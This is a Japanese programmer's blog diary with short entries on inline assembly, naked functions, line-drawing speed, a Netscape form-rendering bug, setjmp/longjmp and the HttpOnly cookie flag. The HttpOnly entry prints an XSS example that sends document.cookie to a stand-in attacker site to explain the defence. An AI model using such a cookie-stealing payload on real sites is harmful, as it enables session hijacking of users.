雑な k|m の生態について

最近 __declspec(naked) とかで遊んでいました。今，会社でとあるアプリケーションの高速化を試みているのです。しかし既にアメリカの MIT とかに籍を置いているようなハカーたちがアセンブリのレベルで高速化を重ねているんで，もう私にはどうにもこうにも。・・・てか，この仕事が始まる前から分かってはいた事なんだけどね。わらぃ

さて，次の気分転換として私が選んだのは JAVA。思っているよりは速いはずだと思って，こんなコードを書いたですよ。

// 一部抜粋

	BufferedImage bi_ = null;
	BufferedImage vram_ = null;
	final int SHIFTER = 10;

	/**
	 * @param   y   コピー先 (vram_) の y 座標
	 * @param   x1  コピー元の x 座標
	 * @param   y1  コピー元の y 座標
	 * @param   x2  コピー元の x 座標
	 * @param   y2  コピー元の y 座標
	 */
	private void draw_line( int y, int x1, int y1, int x2, int y2 ) {

		int dx = x2 - x1;  if (dx < 0) --dx; else ++dx;
		int dy = y2 - y1;  if (dy < 0) --dy; else ++dy;
		int src_height = bi_.getHeight();
		int src_width = bi.getWidth();

		int x = 0;
		int rate = 0;

		if ( Math.abs(dy) < Math.abs(dx) ) {
			y1 <<= SHIFTER;
			dy <<= SHIFTER;
			src_height <<= SHIFTER;

			int step = (dx<0) ? -1 : 1;
			int slope = (dx<0) ? -dy/dx : dy/dx;

			while ( x < vram_.getWidth() ) {

				if ( 0<=x1 && x1 < src_width &&
				     0<=y1 && y1 < src_height )
				{
					vram_.setRGB( x, y, bi_.getRGB( x1, y1 >> SHIFTER ) );
				} else
					vram_.setRGB( x, y, 0 );

				++x;

				rate += Math.abs(dx);
				while ( vram_.getWidth() <= rate ) {
					rate -= vram_.getWidth();
					x1 += step;
					y1 += slope;
				}

			}
		} else ... 以下略

これは bi_ のイメージの (x1,y1) - (x2,y2) のラインを vram_ の y ラインにコピーするうまいやり方。往年の名ゲーム "F-ZERO" や "パイロットウィングス" みたいな地面を描いて見たかったのです。ちょっと応用すれば 3D のオブジェクトにテクスチャを貼る時にも使えるでしょう。

で，これは非常に重いんですよ。・・正確には調べはついてなくて，もしかすると paint() メソッド内の Graphics.drawImage() が重い可能性もあるんだけど・・。少なくともこれではゲームを楽しむ事は出来ません。

速度の神様の光臨キボン。

今日は久々にオレ魂を激しく rock するネタ。・・オレ魂てキミ・・。

ブラクラチェッカーに関して，障害の報告を頂きました。概要はこんなの：

Netscape7.02 では，URL 入力フォーム横に表示されるはずの "Check" や "次へ>>" ボタンが表示されない。

はて，私もなぜか長いこと Netscape や Mozilla を使い続けていますが，これはちょっと経験外の出来事。手持ちの Mozilla 1.4b，NN4.7，IE5.5，Opera6，Lynx，全てページは期待通りに表示されています。そこで Netscape7 をインストール，ページを見てみると・・確かにフォームの右端が途切れていました。

そこで，この障害を再現できる最小の HTML を模索しながら，bugzilla をチェック。ズバリ，bug:131335 見つけました。

問題の HTML はこんなの。HTML というよりは xhtml なわけですが：

<form action="#" method="get" style="text-align: center">
    <fieldset>
        <input type="text" size="80" />
        <input type="submit" value="Check" />
    </fieldset>
</form>

->レンダリング結果 ( 上:Netscape7.02，下:Mozilla1.4b )；

比較的古いバージョンの Mozilla は，fieldset をその内容物ギリギリのサイズでレンダリングしてしまうようです。しかも fieldset 自身はページの左側に寄っちゃったり。中身の input は text-align: center によりページの中心でレンダリングされるため，fieldset とは相対的に右側に寄った形になります。こうして一番右に置かれるはずの input は fieldset から大きくはみ出してしまう模様。

xhtml-strict の DTD を漁った結果，fieldset 要素内には div タグを含めてよい事，および div 要素内に input 要素を配置してよい事が判明。そこで：

<form action="#" method="get" style="text-align: center">
    <fieldset> <div class="avoidN7bug">
        <input type="text" size="80" />
        <input type="submit" value="Check" />
    </div> </fieldset>
</form>

これにて一件落着。あまり綺麗なマークアップではありませんが，次のバージョンの Netscape が出るまでの辛抱かなと。

政府主催のハッカー甲子園( /.-j )

もうあちこちの日記 ( や "ブログ" とか・・ ) でいろいろと書かれてありますが，ハッカー甲子園ネタについての雑感。

サーバの構築，私にやらせて欲しいなーとか思ったりするんスよ。中途半端にモノを知ってるだけあって，なんかこう，まったりとしたちょうど良い大きさの穴が空くと思うんスよ。妙に強い自信があるんスよ。

どうスか。

良いニュースと悪いニュース

ちょっと古めの話題。2 種類の記事が同時に掲載されています。1 つ目 "悪いニュース" は最適化に関する話題で，実行中のアプリケーションのヒープを peek されてパスが盗まれるのを防ぐ時の memset() の注意点すね。2 つ目 "良いニュース" は，Microsoft が提案するセキュリティ機能。これ，ちょっと興味深し。

ブラウザにクッキーをセットするために，通常の CGI ではこんなレスポンスヘッダを出力します。

Set-Cookie: tkuri_fat_coara_or_jp=value;[CRLF]
	expires=Sat, 24-May-2003 18:00:00 GMT[CRLF]
Content-type: text/html; charset=EUC-JP[CRLF]

そして JavaScript でクッキーの内容を別のサイトに送信する事が出来ます。

<form action="http://hackers-site.com/receiver.cgi" method="GET" name="hackform">
<script type="text/javascript">
	document.write(
		'<input type="hidden" name="hackedcookie" value="' +
		document.cookie +
		'" />' );
</script>
</form>

<a href="javascript:hackform.submit()">click here, gehehe...</a>

これを，そのサイトの製作者さんの意図に反して行えてしまうのが XSS 脆弱性。個人サイト等のように小規模な CGI しか使っていないならば修正も楽なんだけど，大規模なサイトを運営しているとそうはいきません。

そこで Microsoft が提案したのが Set-Cookie ヘッダの HttpOnly 属性。攻撃者が悪意ある JavaScript を埋め込めてしまうのが XSS 脆弱性の肝である事に目をつけ，HttpOnly 属性が指定されたクッキーは JavaScript で取り扱える事を防ぎます。

Set-Cookie: tkuri_fat_coara_or_jp=value;[CRLF]
	expires=Sat, 24-May-2003 18:00:00 GMT; HttpOnly[CRLF]
Content-type: text/html; charset=EUC-JP[CRLF]

これで workaround を行い，ゆっくりじっくりまったりと脆弱性を潰す事が出来ます。

で，これは JavaScript を実行するブラウザも対応していて貰わないとマズいわけですが，Mozilla 1.4beta も IE5.5 も未対応でした。対応してるのは IE6 以降のみ？

さてさて続きです。__declspec(naked) な func() を呼び出す時と，func() から戻ってきた時のアドレスとコードはこんな感じ。

;main() の中身
; ここから func() を呼び出そうとしている
0040A474   push        2
0040A476   push        1
0040A478   call        func 関数へ ( と機械語っぽく書いてある )

0040A47D   xor         eax,eax    ; func() から戻ってくる場所

call でスタックに 0040A47D が push されます。つまり func() から戻って来るべき場所ですね。call 直後の，興味あるレジスタの値とメモリの状態はこんなの。

esp = 0064FDEC

0064FDE8  87 01 00 00  7D A4 40 00
0064FDF0  01 00 00 00  02 00 00 00

0064FDF0 番地に 1 が，0064FDF4 番地に 2 が入っています。つまりこれが引数。そして 0064FDEC = 現在の esp が指している所には 0004A47D という値が ( リトルエンディアンで ) 入っていますが，これは func() が終了した後，どこに戻るべきかのアドレスが格納されているんですね。

さて，これで私が何をするべきかが分かりました。一般に引数は esp + 4 以上の部分のメモリに格納されています。そして esp + 0 にはリターンアドレスが。関数内で自由に使えるスタックは esp - 4 以下の部分になります。

私はここで printf() 関数を呼びたいので，こんなコードを書いてみました。

コード

#define NAKED __declspec(naked)

NAKED
void func( int x, int y ) {
  static char format_[] = "%d, %d\n";

  __asm {

    ; y を第 3 引数へ
    mov  eax, dword ptr [esp + 8]
    mov  dword ptr [esp - 4], eax

    ; x を第 2 引数へ
    mov  eax, dword ptr [esp + 4]
    mov  dword ptr [esp - 8], eax

    ; format_ 文字列を第 1 引数へ
    mov  dword ptr [esp - 12], offset format_

    sub  esp, 12   ; 第 1 引数の場所を指す
    call printf    ; 呼ぶ
    add  esp, 12   ; 戻す

    ret
  }
}

実行結果

1, 2

うし。悪くはなさげです。・・・で，私は printf() を呼ぶためにいじった esp の値を ret の直前で自分で戻しているわけですが，これは問題ないのかなあ？ まだまだ続くよ剥き出し NAKED!

w.l.o.g.( K.INABA さん ) 経由，タキマサ道場 ( タキマサさん ) 着。「囚人のジレンマ」の拡張版の課題。大学も理系に進めばこんな楽しい課題が出るんですね。私はどこで道を間違えたんだろう。。。

私も「囚人のジレンマ」トーナメント戦，試した事があります。そして TfT 最強伝説を覆す結果に。いくつかの中で一番強かったのは，こんな戦略でした。

• 一手目は「協力」
• 相手が裏切るまで「協力」
• 相手が裏切れば，以降はずっと「裏切り」

2ch のスレッド「【開催】囚人のジレンマ大会」でもネタを振ってみました。結果は我ながらなかなかのもの。

で件の「じゃんけん」のための戦略だけど・・・私の囚人のジレンマゲームの戦略を応用するのは難しいかも。ぜんぜんアイデアが出ませんでしたとさ。

なんていうか，いい加減にしてくれませんか nave・・・いやしかし彼らも一端の営利企業であるわけで，まさかこんなアホな事をワシワシと繰り返すとは思えません。これは naver さんの名を騙る厨房の攻撃だと認定しました。

というわけで，いい加減にしてくれませんかパナウェ ( 以下謂れ無き非難により削除

今日はちょこっとお休み・・・

naked な関数において引数をきちんと得るには，esp の値の変化に注意しなければならないんじゃないかと。とりあえず通常の関数について調べてみます。

通常の関数呼び出し，プロローグ・コードや引数の受け取りはこんな感じなので：

void func( int x, int y ) {
  int a;
  a = x;
}

int main( int ac, const char *av[] ) {

  func( 1, 2 );

  return 0;
}

アセンブリコード	処理	esp の増減
ここから main()
push 2	第 2 引数を格納	-4
push 1	第 1 引数を格納	-4
call func	サブルーチンを呼び出す / サブルーチンから戻ってくるべき地点のアドレスがスタックに push されるので，ここでも esp が変化する	-4
ここから func()
push ebp	ebp を格納	-4
mov ebp, esp	現在の esp = "古い ebp をどこに格納したか" を，ebp 自身に憶えさせる / func() から抜ける直前のエピローグ・コードで重要に	増減なし
mov eax, dword ptr [x]	スタックに積まれている引数を eax にロード	増減なし
mov dword ptr [a], eax	これで a = x; が成立	増減なし

( まだ正確には調べはついていませんが，上記までならば __cdecl も __stdcall も違いは見られません )

func() を呼び出す前に x を格納してから func() のしょっぱなで ebp を憶えておくまでに，esp の変化は -4 + -4 = -8。おそらく dword ptr [x] は実際には dword ptr [ebp + 8] と置き換えられそうっぽくありませんか？ 同様に dword ptr [y] は dword ptr [ebp + 12] とかね。

コード

void func( int x, int y ) {
  int a, b;

  __asm{
     mov eax, dword ptr [ebp + 8]
     mov a, eax                // a は dword ptr [a] と解釈してくれる
     mov eax, dword ptr [ebp + 12]
     mov b, eax
  }

  printf ("x=%d, y=%d\n", a, b );
}

実行結果

x=1, y=2

ん，悪くないように見えます。これを __declspec(naked) に当てはめてみると・・・

去年に比べれば今年はもしかしたら涼しいのかも知れません。エルニーニョ現象も終息したとかで，なんとか平年並みの暑さになるんじゃないかなと。

てか，沖縄は既に梅雨なんすよ。東京でも今日は雷様がくたばったかのような大雨。洗濯をしなければならなかったんだけど，諦めました。

naked って「剥き出し」すかゲヘヘ。もうおじさん辛抱たまらんのでワシワシ使って逝っちゃいますよ？

// ！注意！ 危険ですマジで
#define NAKED __declspec(naked)

NAKED void func( int x, int y ) {
  int a;  // int a = x; 初期化はできない (error C2489)
  a = x;
}

int main() {
  func( 1, 2 );
  return 0;
}

これでアセンブラが吐き出すコードは，だいたいこんなの ( 「混合モード」ウィンドウを見て書いただけ )

 1:  ;ここは func()
 2:  mov    eax, dword ptr [x]
 3:  mov    dword ptr [a], eax
 4:
 5:  ; ここから main() 
 6:  push   ebp
 7:  mov    ebp, esp
 8:
 9:  ; ここで func() を呼び出す
10:  push   2
11:  push   1
12:  call   func つーか 2行目(とマシン語で書いてる)
13:  add    esp, 8
14:
15:  ; ここから return 0 の準備
16:  xor    eax,eax
17:  pop    ebp
18:  ret

私の Windows はこのコードを 6 行目から実行してくれます。これはコンパイラやリンカ，そして CRT ライブラリがちゃんと仕事をしてくれているので当然。call func で ( 実際は一度関数テーブルのようなもの (?) を参照しに行っているっぽいけど ) 2 行目にジャンプします。マシンは 2 行目，3 行目を実行してくれますが，a はメモリ上のどこに格納されますか？ おそらく現在のスタックポインタ esp が指す場所に格納されるでしょうが，怖いってそれ。さらに悪い事に，後で詳しく調べる予定だけど，x や y も実はこれでは期待通りには取得できていません。

それから一番致命的なのは，関数 func() が ret していない事。このまま私のマシンは 3 行目を実行し終え ( 4, 5 行目を経て ) 6 行目に舞い戻ります。そして再び call func で 2 行目へ戻り，・・やがてスタックを使い果たすまでループ。

私はこれをよろこんで暇つぶしのネタにする屑人間。

前回の私はちょっとアホの子でした。「固定小数点演算」の方，わざわざ遅くなるような書き方をしてるんだもんね。

    while ( x1 <= x2 ) {
      if (0<=x1 && x1<WIDTH && 0<=y1 && y1 < (HEIGHT<<4)) {
        dot( x1, y1 >> 4 );
      }
      x1 += 1;
      y1 += dy/dx;
    }

dy/dx の部分，dy や dx が変化しないならば毎回計算する必要はありません。コンパイラが充分に賢ければ最適化も期待できそうなもんですが，私の VC++5.0 ではダメな模様。アセンブリコードを見ても idiv を思いきり使ってくれちゃっています。

    int delta = dy/dx;
    while ( x1 <= x2 ) {
      if (0<=x1 && x1<WIDTH && 0<=y1 && y1 < (HEIGHT<<4)) {
        dot( x1, y1 >> 4 );
      }
      x1 += 1;
      y1 += delta;
    }

うし。これでブレゼンハム・アルゴリズムよりも若干速くなりました。ただしやっぱり若干の誤差が出てくるのかなあ？ 厳密さを求めるならブレゼンハム・アルゴリズムを超えるものはなさげ。3D の座標計算のように 1 ドットのくらいの誤差が気にならないならば，固定小数点演算を選ぶべき〜という事で。

某知り合いに連れられて東京見物をして周りました。都庁に行きました都庁に。充分に晴れていれば展望台から富士山が見えるらしくて畏れ。あと，国立競技場は意外に広かったです。ていうか広いなんてもんじゃない。超広い。ヤバい。あとワシントンホテルは・・その・・意外にショボかったです。それなりに良いホテルらしいんだから，もっとこう，高級感がイヤという程溢れる建物だと ( 勝手に ) 想像していましたが。

結論：疲れました。著しく。

C/C++ Users Journal からのパクリなんだけど，なんかこう，脳のシナプス結合が一気に増加したかのような，快感にも似た感覚にとらわれたので私なりに整理。

呼び出し回数制限をもつ関数を，次のように書いてみました。

#include <iostream>
using namespace std;

void *count_func() {
  static int count = 10;

  if (count <= 0)
    return 0;
  else {
    --count;
    return count_func;
  }
}

int main( int ac, const char *av[] ) {

  typedef void *(*PFPV)();
  PFPV f = count_func;

  while (f = (PFPV)f())
    ;

  return 0;
}

随分と "ひねくれた" 回数制限の実装ですが，この際気にすんなです。これをどうにかやりくりして while (f = (PFPV)f()) の部分を while (f = f()) に書き直せないかなあ？

T count_func() として型 T の正体を暴けば解決？ 型 T を定義してみると typedef U (*T)() となるので，その前に型 U を定義します。typedef V (*U)()。さらにその前に型 V を定義すると typedef W (*V)()・・・

で，どうも無理っぽい，と。

なんだか問題がとっても単純なので解決も簡単かと思えてしまうんですが，これは意外。

ブレークポイントの正体を知ったのでメモ。てか・・・常識？

#include <stdio.h>

void func() {
  puts("here");
  __asm int 3 
  puts("here");
};

int main( int ac, const char *av[] ) {
  func();
  return 0;
}

これを普通に実行しても「test.exe 内でエラーが発生しました」だけだけど，VC++ IDE で F5 キーでデバッグを開始してみると，確かに int 3 の部分で「ブレークポイントの設定位置」とメッセージボックスが出て停止します。

そこで名著，河西朝雄「Ver.5.1 MASM 初級プログラミング入門」( 技術評論社 ) を開いてみます。8086 アーキテクチャにおいてコード int は「ソフトウェア割り込み」。オペランド 3 は「ブレイクポイント・割り込み」と解説されています。なーんだ，undocumented な裏技かと思ったら，ちゃんと解説されてるんじゃん。

今日も元気にローテクな小ネタ。大抵のプログラム言語には処理を繰り返す構文が用意されています。しかし深いループを脱出するのは結構困難。Perl なら last LABEL; てな感じですか。

加えて「ループを途中で抜けたか，それとも最後までループを実行したか」の場合に分かれて処理をしたい場合も多々あるわけで。

  for ( int a = 0; a < row_count; ++a ) {
    ObjA *obj_a = getObjA( a );
    for ( int b = 0; b < obj_a->colcount; ++b ) {
      for ( int c = 0; c < DATA_LENGTH; ++c ) {
        if ( obj_a->data[b][c] == target ) {
          found_obj = obj_a;
          goto end_loop;
        }
      }
    }
  }

end_loop:
  if (found_obj) {

    found_obj->notify();
    ...

  } else {

    not_found();
    ...

  }
  ...

これを setjmp と longjmp で書いてみました。

#include <setjmp.h>

  jmp_buf env;
  int r;

  if ((r = setjmp( env )) == 0) {

    for ( int a = 0; a < row_count; ++a ) {
      ObjA *obj_a = getObjA( a );
      for ( int b = 0; b < obj_a->colcount; ++b ) {
        for ( int c = 0; c < DATA_LENGTH; ++c ) {
          if ( obj_a->data[b][c] == target ) {
            found_obj = obj_a;
            longjmp( env, 1 );
          }
        }
      }
    }

    not_found();
    ...

  } else if ( r == 1 ) {

    found_obj->notify();
    ...

  }

  ...

C++ の try 〜 catch のような雰囲気になりました。・・むーん・・エレガントかと思ったけど，やや微妙〜 ( ここまで書いててアレだけど )。

つまりこれは「コーディング規約」なんかで「ぜーったいに goto 禁止ね」などと決められている場合に限って有効なのかな。やみくもに goto を禁止するのは一般に「ていどひくい」と結論付けられており，そのレベルならば setjmp 〜 longjmp という非常にマイナーな関数にまで言及されている確率は小さいはず。堂々と setjmp 〜 longjmp を使ってマネージャの頭脳をアレしましょう。

あ，しまった。これって「ネガティブ・コーディング」？

ふと「煮詰まっている」事に気付いて，肩の力を抜いてしまいたくなる事があります。今日はそんな日。

気分転換にインライン・アセンブラなどをいじってみます。・・「それじゃ気分転換にならないだろう」って？ 私を誰だと思ってますか？

#include <iostream>
#include <cstdlib>

void fastcall_function() {
  int a = 0;

  _asm {
    mov   a, ecx
  }

  std::cout << a << std::endl;
}

int main( int ac, const char *av[] ) {

  int a = atoi( 1<ac ? av[1] : "" );  // std:: は？

  _asm {
    push  ecx
    mov   ecx, a
    call  fastcall_function
    pop   ecx
  }

  return 0;
}

このコードには ( 少なくとも明示的には ) グローバル変数は使われていないし，fastcall_function() は引数を持ちません。しかしレジスタを通じて main() の a は無事に fastcall_function() に伝播させる事が出来ました。これが VC++ や BCC 等で採用されている関数呼び出し規約 __fastcall の原理。通常の C/C++ プログラミングにしてはなかなか過激ですが，シビアな速度が要求される場面では効果的かと。

EffecTV ( ただし sourceforge.net に移転済み )

管理人は福地健太郎さん。プログラムの高速化に悩んでいる人は，公開されている PDF「メガデモに見る小手先高速化技術」を見せて頂きましょう。ぜひ！

そこで気になったのが「7. 直線描画」の章。ブレゼンハムよりも固定小数点演算をさせた方が高速だという結果がでています。下手にカコいいアルゴリズムよりも単純なモノの方がコンパイラの最適化がよく効くとか。

->ちょっとコード書いてみました；

計測は Duron600MHz + Windows2000 + VC6.0++ という会社のマシンと Athlon1.1MHz + WindowsMe + VC++5.0 な自宅マシンの両方で。結果なんスけど，bresenham() の方が速いです。

というよりももしかしたら私が「固定小数点」という言葉を勘違いしているだけだったりして？ 私の fixedpoint() では int 型変数を 4 ビットほどシフトさせる事で，下位 4 ビットが小数部分を表現してくれます。・・違うのかな。。。